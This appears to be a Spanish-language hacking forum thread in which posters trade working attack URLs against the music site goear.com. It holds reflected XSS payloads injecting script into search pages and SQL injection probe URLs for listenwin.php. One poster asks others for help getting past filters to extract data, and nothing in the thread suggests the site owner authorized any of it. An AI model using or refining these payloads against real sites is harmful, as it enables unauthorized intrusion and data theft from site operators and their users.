xss en goear.com

[fede_cp]

agrego un xss, más.lo obutbe a partir del titulo  :

http://www.goear.com/searchbycat.php?c=%3C/title%3E%3Cscript%3Ealert%28%22Otro%20xss%20mas%22%29%3C/script%3E

esta minado de xss!


saludos!

[jdc]

agrego un xss, más.lo obutbe a partir del titulo  :

http://www.goear.com/searchbycat.php?c=%3C/title%3E%3Cscript%3Ealert%28%22Otro%20xss%20mas%22%29%3C/script%3E

esta minado de xss!


saludos!

No te metas al login  ajajajajajaja

Saludos

[fede_cp]

agrego un xss, más.lo obutbe a partir del titulo  :

http://www.goear.com/searchbycat.php?c=%3C/title%3E%3Cscript%3Ealert%28%22Otro%20xss%20mas%22%29%3C/script%3E

esta minado de xss!


saludos!

No te metas al login  ajajajajajaja

Saludos

no entendi jajaj
saludos

[YST]

Pero lo de descargar el .mp3 no es un bug

[fede_cp]

ESTA bbien!!. me equiboque! jajaj


saludos

[YST]

ESTA bbien!!. me equiboque! jajaj


saludos

Pero no me grites

[fede_cp]

jajaja

si quieren un bug:

http://www.goear.com/listenwin.php?v=78707c5%27-1+Order/**/+By+33--++

http://www.goear.com/listenwin.php?v=78707c5%27-1+Order/**/+By+34--++

ahi si hay una sqlI

lo que no pude hacer fue hacer el SELECT, tiene buenos filtros, no lo pude sacar ni poniendo maysuculas ni /**/, asique si alguien me ayuda

mandenme el mail por mp asi lo hablamos


saludos!

[Castg!]

otro mas: http://www.goear.com/search.php?q=leonchalon&p=1%22%3E%3C/iframe%3E%3Cscript%3Ealert%28%22Holamundo%22%29%3C/script%3E

[Darioxhcx]

pobre goear ya le dieron vuelta la web completa.. falta un lfi y estamos jajaja..

[jdc]

Tiene todos los bugs conocidos xD me arrepiento de haber posteado esa web xD por lo menos ningún lammer le ha hecho un pwned xD